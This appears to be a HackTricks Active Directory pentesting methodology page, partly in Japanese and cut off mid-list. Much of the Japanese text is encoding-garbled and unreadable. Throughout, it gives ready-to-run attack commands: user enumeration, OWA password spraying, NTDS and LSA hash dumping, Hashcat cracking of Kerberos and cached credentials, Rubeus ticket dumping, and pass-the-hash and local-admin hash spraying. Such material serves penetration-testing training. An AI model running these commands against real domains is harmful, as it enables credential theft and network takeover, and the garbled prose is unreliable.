Active Directory ã®æ¹æ³è«
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æŠèŠ
Active Directory ã¯ããããã¯ãŒã¯å ã§ ãã¡ã€ã³ããŠãŒã¶ãŒãããã³ ãªããžã§ã¯ã ãå¹ççã«äœæã»ç®¡çã§ããåºç€æè¡ã§ããå€§èŠæš¡ã«ã¹ã±ãŒã«ããããèšèšãããŠããã倿°ã®ãŠãŒã¶ãŒã管çå¯èœãª ã°ã«ãŒã ã ãµãã°ã«ãŒã ã«æŽçããããŸããŸãªã¬ãã«ã§ã® ã¢ã¯ã»ã¹æš© ãå¶åŸ¡ã§ããŸãã
Active Directory ã®æ§é ã¯äž»ã« 3 ã€ã®å±€ããæ§æãããŸã: domainsãtreesãããã³ forestsãdomain ã¯å ±éã®ããŒã¿ããŒã¹ãå ±æãã ãŠãŒã¶ãŒ ã ããã€ã¹ ãªã©ã®ãªããžã§ã¯ãã®éåãå«ã¿ãŸããtrees ã¯å ±éæ§é ã§çµã°ãããããã®ãã¡ã€ã³ã®ã°ã«ãŒãã§ãããforest ã¯è€æ°ã® trees ããŸãšããtrust relationships ã«ãã£ãŠçžäºæ¥ç¶ãããæäžäœã®çµç¹æ§é ã衚ããŸããåã¬ãã«ã§ç¹å®ã® ã¢ã¯ã»ã¹ ã éä¿¡æš©é ãæå®ã§ããŸãã
Active Directory ã®äž»èŠãªæŠå¿µã¯æ¬¡ã®ãšããã§ã:
- Directory â Active Directory ãªããžã§ã¯ãã«é¢ãããã¹ãŠã®æ å ±ãæ ŒçŽããŸãã
- Object â ãã£ã¬ã¯ããªå ã®ãšã³ãã£ãã£ã瀺ãããŠãŒã¶ãŒãã°ã«ãŒãããŸãã¯ å ±æãã©ã«ã ãªã©ãå«ãŸããŸãã
- Domain â ãã£ã¬ã¯ããªãªããžã§ã¯ãã®ã³ã³ãããšããŠæ©èœããè€æ°ã®ãã¡ã€ã³ã forest å ã§å ±åã§ãããããããç¬èªã®ãªããžã§ã¯ãã³ã¬ã¯ã·ã§ã³ãä¿æããŸãã
- Tree â å ±éã®ã«ãŒããã¡ã€ã³ãå ±æãããã¡ã€ã³ã®ã°ã«ãŒãã§ãã
- Forest â Active Directory ã«ãããçµç¹æ§é ã®é ç¹ã§ãè€æ°ã® trees ãšãããã®éã® trust relationships ããæ§æãããŸãã
Active Directory Domain Services (AD DS) ã¯ããããã¯ãŒã¯å ã§ã®éäžç®¡çãšéä¿¡ã«äžå¯æ¬ ãªäžé£ã®ãµãŒãã¹ãå å«ããŸãããããã®ãµãŒãã¹ã«ã¯æ¬¡ãå«ãŸããŸã:
- Domain Services â ããŒã¿æ ŒçŽãäžå€®éæš©åãããŠãŒã¶ãŒãšãã¡ã€ã³éã®çžäºäœçšïŒèªèšŒãæ€çŽ¢æ©èœãªã©ïŒã管çããŸãã
- Certificate Services â å®å šãª ããžã¿ã«èšŒææž ã®äœæãé åžã管çãç£ç£ããŸãã
- Lightweight Directory Services â LDAP protocol ãéããŠãã£ã¬ã¯ããªå¯Ÿå¿ã¢ããªã±ãŒã·ã§ã³ããµããŒãããŸãã
- Directory Federation Services â è€æ°ã® Web ã¢ããªã±ãŒã·ã§ã³ã«å¯Ÿã㊠single-sign-on ãæäŸããŸãã
- Rights Management â èäœç©ã®äžæ£ãªé åžãå©çšãå¶åŸ¡ããããšã§ä¿è·ãæ¯æŽããŸãã
- DNS Service â domain names ã®è§£æ±ºã«äžå¯æ¬ ã§ãã
For a more detailed explanation check: TechTerms - Active Directory Definition
Kerberos Authentication
To learn how to attack an AD you need to understand really good the Kerberos authentication process.
Read this page if you still donât know how it works.
ããŒãã·ãŒã
ã¯ã€ãã¯ã« AD ã®åæïŒæªçšã§äœ¿ããã³ãã³ãã確èªãããå Žåã¯ãhttps://wadcoms.github.io/ ãåç §ããŠãã ããã
Warning
Kerberos communication requires a full qualifid name (FQDN) for performing actions. If you try to access a machine by the IP address, itâll use NTLM and not kerberos.
Recon Active DirectoryïŒè³æ Œæ å ±ïŒã»ãã·ã§ã³ãªãïŒ
AD ç°å¢ã«ã¢ã¯ã»ã¹ã§ãããè³æ Œæ å ±ãã»ãã·ã§ã³ããªãå Žåãæ¬¡ã®ããšãå¯èœã§ã:
- Pentest the network:
- ãããã¯ãŒã¯ãã¹ãã£ã³ãããã·ã³ãšéããŠããããŒããèŠã€ããè匱æ§ãæªçšãããããããã è³æ Œæ å ±ãæœåº ãããããŸãïŒäŸãã°ãprinters could be very interesting targetsïŒã
- DNS ãåæããããšã§ããã¡ã€ã³å ã®éèŠãªãµãŒãïŒwebãprintersãsharesãvpnãmedia ãªã©ïŒã«é¢ããæ å ±ãåŸãããããšããããŸãã
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt- 詳ããã¯äžè¬ç㪠Pentesting Methodology ãåç §ããŠããã®äœæ¥ã®æ¹æ³ã確èªããŠãã ããã
- Check for null and Guest access on smb servicesïŒããã¯ææ°ã® Windows ããŒãžã§ã³ã§ã¯æ©èœããªãããšããããŸãïŒ:
enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //- SMB ãµãŒããåæããæ¹æ³ã®è©³çްã¬ã€ãã¯æ¬¡ãåç §ããŠãã ãã:
- Enumerate Ldap
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>- LDAP ã®åææ¹æ³ã®è©³çްã¬ã€ãã¯æ¬¡ãåç §ããŠãã ããïŒå¿åã¢ã¯ã»ã¹ã«ç¹ã«æ³šæïŒ:
389, 636, 3268, 3269 - Pentesting LDAP
- Poison the network
- Responder ãçšããŠãµãŒãã¹ãåœè£ ãè³æ Œæ å ±ãåéããïŒimpersonating services with ResponderïŒ: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
- ãªã¬ãŒæ»æãæªçšããŠãã¹ãã«ã¢ã¯ã»ã¹ããïŒabusing the relay attackïŒ: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack
- æªæã®ãã UPnP ãµãŒãã¹ïŒevil-SïŒã SDP ãé²åºããŠè³æ Œæ å ±ãåéããïŒexposing fake UPnP services with evil-SïŒ: ../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.mdããã³SDP
- OSINT:
- ãã¡ã€ã³ç°å¢å ããã³å ¬éãããŠããæ å ±æºãããå éšããã¥ã¡ã³ãããœãŒã·ã£ã«ã¡ãã£ã¢ããµãŒãã¹ïŒäž»ã« webïŒãªã©ã調æ»ããŠãŠãŒã¶ãŒåãæ°åãæœåºããŸãã
- äŒç€Ÿã®åŸæ¥å¡ã®ãã«ããŒã ãåããã°ãããŸããŸãª AD username conventions ã詊ãããšãã§ããŸãïŒread thisïŒãäžè¬çãªåœåèŠåã«ã¯æ¬¡ã®ãã®ããããŸã: NameSurname, Name.Surname, NamSurïŒå 3 æåã¥ã€ïŒãNam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 ã€ã® random letters ãš 3 ã€ã® random numbersïŒabc123ïŒã
- ããŒã«:
- w0Tx/generate-ad-username
- urbanadventurer/username-anarchy
ãŠãŒã¶ãŒåæ
- Anonymous SMB/LDAP enum: pentesting SMB ãš pentesting LDAP ã®ããŒãžã確èªããŠãã ããã
- Kerbrute enum: ç¡å¹ãªãŠãŒã¶ãŒåããªã¯ãšã¹ããããšããµãŒã㯠Kerberos ãšã©ãŒ ã³ãŒã KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN ãè¿ãããŠãŒã¶ãŒåãç¡å¹ã§ããããšãå€å¥ã§ããŸããæå¹ãªãŠãŒã¶ãŒå 㯠AS-REP ã® TGT ãè¿ãããäºåèªèšŒãå¿ èŠã§ããããšã瀺ããšã©ãŒ KRB5KDC_ERR_PREAUTH_REQUIRED ãè¿ããŸãã
- No Authentication against MS-NRPC: ãã¡ã€ã³ã³ã³ãããŒã©äžã® MS-NRPC (Netlogon) ã€ã³ã¿ãŒãã§ãŒã¹ã«å¯Ÿã㊠auth-level = 1ïŒèªèšŒãªãïŒã䜿çšããŸãããã®æ¹æ³ã¯ MS-NRPC ã€ã³ã¿ãŒãã§ãŒã¹ã«ãã€ã³ãããåŸã
DsrGetDcNameEx2颿°ãåŒã³åºããŠãè³æ Œæ å ±ãªãã§ãŠãŒã¶ãŒãã³ã³ãã¥ãŒã¿ãååšãããã©ããã確èªããŸããNauthNRPC (https://github.com/sud0Ru/NauthNRPC) ããŒã«ã¯ãã®çš®ã®åæãå®è£ ããŠããŸããç ç©¶ã¯æ¬¡ã«ãããŸã: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
- OWA (Outlook Web Access) Server
ãããã¯ãŒã¯å ã§ãããã®ãµãŒããŒã®ãããããèŠã€ããå Žåãuser enumeration against it ãè¡ãããšãã§ããŸããäŸãã°ãMailSniper:
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
Warning
ãŠãŒã¶ãŒåã®äžèŠ§ã¯ this github repo ããã³ãã¡ãã®ãªããžã㪠(statistically-likely-usernames) ã§èŠã€ããããŸãã
ãã ããäºåã«å®æœããŠããã¯ãã® recon step ããåŸããäŒç€Ÿã§åããŠãã人ã ã®ååãæã£ãŠããã¹ãã§ããååãšå§ãåãã£ãŠããã°ãã¹ã¯ãªãã namemash.py ã䜿ã£ãŠæœåšçãªæå¹ãŠãŒã¶ãŒåãçæã§ããŸãã
Knowing one or several usernames
ã§ã¯ãæ¢ã«æå¹ãªãŠãŒã¶ãŒåã¯åãã£ãŠããããã¹ã¯ãŒããç¡ãå ŽåâŠæ¬¡ã詊ããŠãã ãã:
- ASREPRoast: ãŠãŒã¶ãŒã屿§ DONT_REQ_PREAUTH ãæã£ãŠããªãå Žåããã®ãŠãŒã¶ãŒã® AS_REP ã¡ãã»ãŒãžãèŠæ±ã§ãããã®äžã«ã¯ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãããæŽŸçããéµã§æå·åãããããŒã¿ãå«ãŸããŸãã
- Password Spraying: çºèŠããåãŠãŒã¶ãŒã«å¯ŸããŠæãäžè¬çãªãã¹ã¯ãŒãã詊ããŠã¿ãŠãã ãããæªããã¹ã¯ãŒãã䜿ã£ãŠãããŠãŒã¶ãŒããããããããŸããïŒãã¹ã¯ãŒãããªã·ãŒãå¿ããã«ïŒïŒã
- Note that you can also spray OWA servers to try to get access to the users mail servers.
Password Spraying / Brute Force
LLMNR/NBT-NS Poisoning
ãããã¯ãŒã¯äžã®ããã€ãã®ãããã³ã«ã poisoning ããããšã§ãã¯ã©ãã¯å¯èœãªãã£ã¬ã³ãžããã·ã¥ãååŸã§ããå¯èœæ§ããããŸãïŒ
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NTLM Relay
Active Directory ã®åæã«æåãããšãããå€ãã®ã¡ãŒã«ã¢ãã¬ã¹ããããã¯ãŒã¯ã®çè§£ãåŸãããŸããNTLM ã® relay attacks ã匷å¶ã㊠AD ç°å¢ãžã¢ã¯ã»ã¹ã§ããããšããããŸãã
Steal NTLM Creds
null ã guest ãŠãŒã¶ãŒã§ä»ã® PC ãå ±æã«ã¢ã¯ã»ã¹ã§ããå ŽåãSCF ãã¡ã€ã«ã®ãããªãã¡ã€ã«ãé 眮ããŠããããããäœããã®åœ¢ã§ã¢ã¯ã»ã¹ããããš trigger an NTLM authentication against you so you can steal the NTLM challenge to crack it:
Hash Shucking & NT-Candidate Attacks
Hash shucking ã¯ãæ¢ã«ä¿æããŠããå NT ããã·ã¥ããNT ããã·ã¥ããçŽæ¥æŽŸçããéµçŽ æãæã€é ããã©ãŒãããïŒKerberos RC4 ãã±ãããNetNTLM ãã£ã¬ã³ãžããã£ãã·ã¥ãããè³æ Œæ å ±ãªã©ïŒã«å¯Ÿããåè£ãã¹ã¯ãŒããšããŠæ±ããŸããé·ããã¹ãã¬ãŒãºã Kerberos RC4 ãã±ããã NetNTLM å¿çããã£ãã·ã¥ãããè³æ Œæ å ±ã§ãã«ãŒããã©ãŒã¹ãã代ããã«ãNT ããã·ã¥ã Hashcat ã® NT-candidate ã¢ãŒãã«æå ¥ããŠãå¹³æãåŠç¿ããããšãªããã¹ã¯ãŒãã®åå©çšãæ€èšŒããŸããããã¯ããã¡ã€ã³äŸµå®³åŸã«æ°åã®çŸåšããã³éå»ã® NT ããã·ã¥ãåéã§ããå Žåã«ç¹ã«åŒ·åã§ãã
shucking ã䜿ãã¹ãç¶æ³:
- DCSyncãSAM/SECURITY ãã³ãããŸãã¯è³æ Œæ å ±ããŒã«ãããåŸã NT ã³ãŒãã¹ããããä»ã®ïŒé ãïŒãã©ãŒãããã§ã®åå©çšããã¹ãããå¿ èŠãããå Žåã
- RC4 ããŒã¹ã® Kerberos ãããªã¢ã«ïŒ
$krb5tgs$23$ã$krb5asrep$23$ïŒãNetNTLM å¿çããŸã㯠DCC/DCC2 ãããããã£ããã£ããå Žåã - é·ãè§£èªå°é£ãªãã¹ãã¬ãŒãºã®åå©çšãçŽ æ©ã蚌æããããã« Pass-the-Hash ã§ãããããããå Žåã
ãã®ææ³ã¯ãéµã NT ããã·ã¥ã§ã¯ãªãæå·ã¿ã€ãïŒäŸ: Kerberos etype 17/18 AESïŒã«ã¯å¹ããŸããããã¡ã€ã³ã AES ã®ã¿ã匷å¶ããŠããå Žåã¯ãéåžžã®ãã¹ã¯ãŒãã¢ãŒãã«æ»ãå¿ èŠããããŸãã
Building an NT hash corpus
- DCSync/NTDS â Use
secretsdump.pywith history to grab the largest possible set of NT hashes (and their previous values):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
å±¥æŽãšã³ããªã¯åè£ããŒã«ãåçã«åºããŸããMicrosoft ã¯ã¢ã«ãŠã³ãããšã«æå€§ 24 åã®éå»ããã·ã¥ãä¿åã§ããããã§ããNTDS ã·ãŒã¯ã¬ãããåéãããã®ä»ã®æ¹æ³ã«ã€ããŠã¯æ¬¡ãåç §ããŠãã ãã:
- Endpoint cache dumps â
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa(or Mimikatzlsadump::sam /patch) ã¯ããŒã«ã« SAM/SECURITY ããŒã¿ããã³ãã£ãã·ã¥ããããã¡ã€ã³ãã°ãªã³ (DCC/DCC2) ãæœåºããŸããéè€ãæé€ããŠãããã®ããã·ã¥ãåãnt_candidates.txtãªã¹ãã«è¿œå ããŠãã ããã - Track metadata â ããã·ã¥ãçæãã username/domain ãïŒã¯ãŒããªã¹ãã hex ã®ã¿ã§ãã£ãŠãïŒèšé²ããŠãããŠãã ãããHashcat ãåå©åè£ã衚瀺ããããã©ã®ããªã³ã·ãã«ããã¹ã¯ãŒããåå©çšããŠããããå³åº§ã«ç¹å®ã§ããŸãã
- åäžãã©ã¬ã¹ããŸãã¯ä¿¡é Œããããã©ã¬ã¹ãããã®åè£ãåªå ããŠãã ãããshucking æã®éè€ç¢ºçãæå€§åãããŸãã
Hashcat NT-candidate modes
| Hash Type | Password Mode | NT-Candidate Mode |
|---|---|---|
| Domain Cached Credentials (DCC) | 1100 | 31500 |
| Domain Cached Credentials 2 (DCC2) | 2100 | 31600 |
| NetNTLMv1 / NetNTLMv1+ESS | 5500 | 27000 |
| NetNTLMv2 | 5600 | 27100 |
| Kerberos 5 etype 23 AS-REQ Pre-Auth | 7500 | N/A |
| Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100 | 35300 |
| Kerberos 5 etype 23 AS-REP | 18200 | 35400 |
Notes:
- NT-candidate inputs must remain raw 32-hex NT hashes. Disable rule engines (no
-r, no hybrid modes) because mangling corrupts the candidate key material. - These modes are not inherently faster, but the NTLM keyspace (~30,000 MH/s on an M3 Max) is ~100Ã quicker than Kerberos RC4 (~300 MH/s). Testing a curated NT list is far cheaper than exploring the entire password space in the slow format.
- Always run the latest Hashcat build (
git clone https://github.com/hashcat/hashcat && make install) because modes 31500/31600/35300/35400 shipped recently. - There is currently no NT mode for AS-REQ Pre-Auth, and AES etypes (19600/19700) require the plaintext password because their keys are derived via PBKDF2 from UTF-16LE passwords, not raw NT hashes.
Example â Kerberoast RC4 (mode 35300)
- Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
- Shuck the ticket with your NT list:
hashcat -m 35300 roastable_TGS nt_candidates.txt
Hashcat ã¯å NT åè£ãã RC4 éµã掟çããã$krb5tgs$23$... ããããæ€èšŒããŸãããããã確èªãããã°ããã®ãµãŒãã¹ã¢ã«ãŠã³ããæ¢åã® NT ããã·ã¥ã®ããããã䜿çšããŠããããšã瀺ããŸãã
- çŽã¡ã« PtH ã§ããããããŸã:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
å¿
èŠã«å¿ããŠåŸã§ hashcat -m 1000 <matched_hash> wordlists/ ã䜿ã£ãŠå¹³æãå埩ããããšãã§ããŸãã
Example â Cached credentials (mode 31600)
- 䟵害ããã¯ãŒã¯ã¹ããŒã·ã§ã³ãããã£ãã·ã¥ããããã°ãªã³ããã³ãããŸã:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
- èå³ã®ãããã¡ã€ã³ãŠãŒã¶ãŒã® DCC2 è¡ã
dcc2_highpriv.txtã«ã³ããŒã㊠shuck ããŸã:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
- ããããæåããã°ããã®ãã£ãã·ã¥ãŠãŒã¶ãŒãæ¢ã«ãªã¹ãå
ã® NT ããã·ã¥ãåå©çšããŠããããšã蚌æãããŸããPtHïŒ
nxc smb <dc_ip> -u highpriv -H <hash>ïŒã«çŽæ¥äœ¿ããããªãã©ã€ã³ã§é«é㪠NTLM ã¢ãŒãã«å¯ŸããŠãã«ãŒããã©ãŒã¹ããŠæååãå埩ããŠãã ããã
åãã¯ãŒã¯ãããŒã¯ NetNTLM ãã£ã¬ã³ãžå¿çïŒ-m 27000/27100ïŒã DCCïŒ-m 31500ïŒã«ãé©çšãããŸããããããç¹å®ãããã°ããªã¬ãŒæ»æãSMB/WMI/WinRM ã® PtHããŸãã¯ãªãã©ã€ã³ã§ã® NT ããã·ã¥åã¯ã©ãã¯ãå®è¡ã§ããŸãã
Enumerating Active Directory WITH credentials/session
ãã®ãã§ãŒãºã§ã¯ãæå¹ãªãã¡ã€ã³ã¢ã«ãŠã³ãã®è³æ Œæ å ±ãŸãã¯ã»ãã·ã§ã³ãæ¢ã«äŸµå®³ããŠããå¿ èŠããããŸããããæå¹ãªè³æ Œæ å ±ããã¡ã€ã³ãŠãŒã¶ãŒãšããŠã®ã·ã§ã«ãæã£ãŠãããªããåã«æãããªãã·ã§ã³ã¯ä»ã®ãŠãŒã¶ãŒã䟵害ããããã®ææ®µãšããŠäŸç¶å©çšå¯èœã§ããããšãèŠããŠãããŠãã ããã
èªèšŒä»ãã®åæãéå§ããåã«ãKerberos double hop problem ãçè§£ããŠããã¹ãã§ãã
Enumeration
ã¢ã«ãŠã³ãã䟵害ããããšã¯ããã¡ã€ã³å šäœã䟵害ãå§ããããã®å€§ããªäžæ©ã§ããããã«ãã Active Directory åæãéå§ã§ããŸã:
ASREPRoast ã«é¢ããŠã¯ãä»ãè匱ãªå¯èœæ§ã®ããå šãŠã®ãŠãŒã¶ãŒãèŠã€ããããŸãããPassword Spraying ã«é¢ããŠã¯å šãŠãŒã¶ãŒåã®ãªã¹ããååŸããŠã䟵害ããã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãã空ãã¹ã¯ãŒããæ°ãã«ææãªãã¹ã¯ãŒãã詊ãããšãã§ããŸãã
- CMD to perform a basic recon ã䜿ã£ãŠåºæ¬çãªæ å ±åéãè¡ããŸãã
- ããã¹ãã«ã¹ãªæ¹æ³ãšã㊠powershell for recon ã䜿ãããšãã§ããŸãã
- ããã«è©³çŽ°ãªæ å ±ãæœåºããããã« use powerview ãå©çšã§ããŸãã
- Active Directory ã®ãªã³ãã«ãããåªããããŒã«ã« BloodHound ããããŸããã³ã¬ã¯ã·ã§ã³æ¹æ³ã«ãã£ãŠã¯ããŸãã¹ãã«ã¹ã§ã¯ãããŸããããæ°ã«ããªããªããã²è©Šãã¹ãã§ãããŠãŒã¶ãŒãã©ãã§ RDP ã§ããããä»ã®ã°ã«ãŒããžã®ãã¹ãèŠã€ãããªã©ãå¯èœã§ãã
- ãã®ä»ã®èªååããã AD åæããŒã«: AD Explorer, ADRecon, Group3r, PingCastle.
- DNS records of the AD ã«ã¯è峿·±ãæ å ±ãå«ãŸããŠããããšããããŸãã
- GUI ããŒã¹ã®ããŒã«ãšããŠã¯ SysInternal Suite ã® AdExplorer.exe ã䜿ã£ãŠãã£ã¬ã¯ããªãåæã§ããŸãã
- LDAP ããŒã¿ããŒã¹å ã ldapsearch ã§æ€çŽ¢ããuserPassword ã unixUserPassword ãã£ãŒã«ããããã㯠Description ã§è³æ Œæ å ±ãæ¢ãããšãã§ããŸãããã®ä»ã®æ¹æ³ã«ã€ããŠã¯ PayloadsAllTheThings ã® Password in AD User comment ãåç §ããŠãã ããã
- Linux ã䜿ã£ãŠããå Žå 㯠pywerview ã䜿ã£ãŠãã¡ã€ã³ãåæããããšãã§ããŸãã
- èªååããŒã«ã®äŸ:
- å šãã¡ã€ã³ãŠãŒã¶ãŒã®æœåº
Windows ã§ã¯å
šãã¡ã€ã³ã®ãŠãŒã¶ãŒåãååŸããã®ã¯éåžžã«ç°¡åã§ãïŒnet user /domainãGet-DomainUserãwmic useraccount get name,sidïŒãLinux ã§ã¯ GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username ã enum4linux -a -u "user" -p "password" <DC IP> ã䜿ããŸãã
ãã® Enumeration ã»ã¯ã·ã§ã³ã¯çãèŠãããããããŸããããæãéèŠãªéšåã§ãããªã³ã¯ïŒäž»ã« cmdãpowershellãpowerviewãBloodHoundïŒã«ã¢ã¯ã»ã¹ããŠããã¡ã€ã³ãåæããæ¹æ³ãåŠã³ãèªä¿¡ãä»ããŸã§ç·Žç¿ããŠãã ãããè©äŸ¡æã«ã¯ãããã DA ãžã®éãèŠã€ãããããŸãã¯äœãã§ããªããšå€æããéèŠãªç¬éã«ãªããŸãã
Kerberoast
Kerberoasting ã¯ããŠãŒã¶ãŒã¢ã«ãŠã³ãã«çŽã¥ããµãŒãã¹ã䜿çšãã TGS tickets ãååŸãããããã®æå·ïŒãŠãŒã¶ãŒãã¹ã¯ãŒãã«åºã¥ãïŒããªãã©ã€ã³ã§ã¯ã©ãã¯ããããšãå«ã¿ãŸãã
è©³çŽ°ã¯æ¬¡ãåç §ããŠãã ãã:
Remote connexion (RDP, SSH, FTP, Win-RM, etc)
ããã€ãã®è³æ Œæ å ±ãååŸããããä»»æã® machine ãžã¢ã¯ã»ã¹ã§ãããã確èªããŠãã ããããã®ããã«ãããŒãã¹ãã£ã³ã®çµæã«å¿ããŠè€æ°ã®ãµãŒããžç°ãªããããã³ã«ã§æ¥ç¶ã詊ã¿ãããã« CrackMapExec ã䜿çšã§ããŸãã
Local Privilege Escalation
éåžžã®ãã¡ã€ã³ãŠãŒã¶ãŒãšããŠè³æ Œæ å ±ãŸãã¯ã»ãã·ã§ã³ã䟵害ãããã®ãŠãŒã¶ãŒã§ãã¡ã€ã³å ã®ä»»æã®ãã·ã³ãžã¢ã¯ã»ã¹ã§ããå Žåã¯ãããŒã«ã«ã§ã®æš©éææ Œãšè³æ Œæ å ±ã®åéã詊ã¿ãã¹ãã§ããããŒã«ã«ç®¡çè æš©éãåŸãŠåããŠãä»ã®ãŠãŒã¶ãŒã®ããã·ã¥ãã¡ã¢ãªïŒLSASSïŒãããŒã«ã«ïŒSAMïŒãããã³ãã§ããŸãã
æ¬æžã«ã¯ local privilege escalation in Windows ã®å®å šãªããŒãžãšãchecklist ããããŸãããŸããWinPEAS ã®äœ¿çšãå¿ããªãã§ãã ããã
Current Session Tickets
çŸåšã®ãŠãŒã¶ãŒã®ãã±ãããäºæããªããªãœãŒã¹ãžã¢ã¯ã»ã¹ããæš©éãäžããŠããå¯èœæ§ã¯éåžžã«äœãã§ããã確èªããããšã¯ã§ããŸã:
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
NTLM Relay
If you have managed to enumerate the active directory you will have ããå€ãã®ã¡ãŒã«ãšãããã¯ãŒã¯ã®çè§£ãYou might be able to to force NTLM relay attacks.
ã³ã³ãã¥ãŒã¿å ±æã§Credsãæ¢ã | SMB Shares
Now that you have some basic credentials you should check if you can AD å ã§å ±æãããŠããè峿·±ããã¡ã€ã«ãèŠã€ãããYou could do that manually but itâs a very boring repetitive task (and more if you find hundreds of docs you need to check).
ãã®ãªã³ã¯ãã䜿çšã§ããããŒã«ã«ã€ããŠåŠãã§ãã ããã
Steal NTLM Creds
If you can ä»ã® PCs ãŸã㯠shares ã«ã¢ã¯ã»ã¹ã§ãã you could ãã¡ã€ã«ãé 眮ãã (like a SCF file) that if somehow accessed will ããªãã«å¯Ÿã㊠NTLM èªèšŒãããªã¬ãŒãã so you can çãã§ the NTLM challenge to crack it:
CVE-2021-1675/CVE-2021-34527 PrintNightmare
This vulnerability allowed any authenticated user to ãã¡ã€ã³ã³ã³ãããŒã©ã䟵害ããã
Privilege escalation on Active Directory WITH privileged credentials/session
For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.
Hash extraction
Hopefully you have managed to compromise some local admin account using AsRepRoast, Password Spraying, Kerberoast, Responder including relaying, EvilSSDP, escalating privileges locally.
Then, its time to dump all the hashes in memory and locally.
ããã·ã¥ãååŸããããŸããŸãªæ¹æ³ã«ã€ããŠã¯ãã®ããŒãžãèªãã§ãã ããã
Pass the Hash
Once you have the hash of a user, you can use it to impersonate it.
You need to use some tool that will perform the NTLM authentication using that hash, or you could create a new sessionlogon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. The last option is what mimikatz does.
詳现ã¯ãã®ããŒãžãåç
§ããŠãã ããã
Over Pass the Hash/Pass the Key
This attack aims to ãŠãŒã¶ã® NTLM hash ã䜿ã£ãŠ Kerberos ãã±ãããèŠæ±ããããšãç®çãšããŠãããäžè¬ç㪠NTLM äžã® Pass The Hash ã®ä»£æ¿ææ®µãšãªããŸãããããã£ãŠãNTLM ãããã³ã«ãç¡å¹åãããŠããèªèšŒã« Kerberos ã®ã¿ãèš±å¯ãããŠãããããã¯ãŒã¯ã§ç¹ã«æçšã§ãã
Over Pass the Hash/Pass the Key
Pass the Ticket
In the Pass The Ticket (PTT) attack method, attackers ãŠãŒã¶ã®èªèšŒãã±ãããçã instead of their password or hash values. This stolen ticket is then used to ãŠãŒã¶ãåœè£ ïŒimpersonateïŒã, gaining unauthorized access to resources and services within a network.
Credentials Reuse
If you have the hash or password of a local administrator you should try to login locally to other PCs with it.
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
Warning
ããã¯ããªããã€ãºãå€ãããšã«æ³šæããŠãã ããããŸããLAPS ãããã°ãããç·©åã§ããŸãã
MSSQL Abuse & Trusted Links
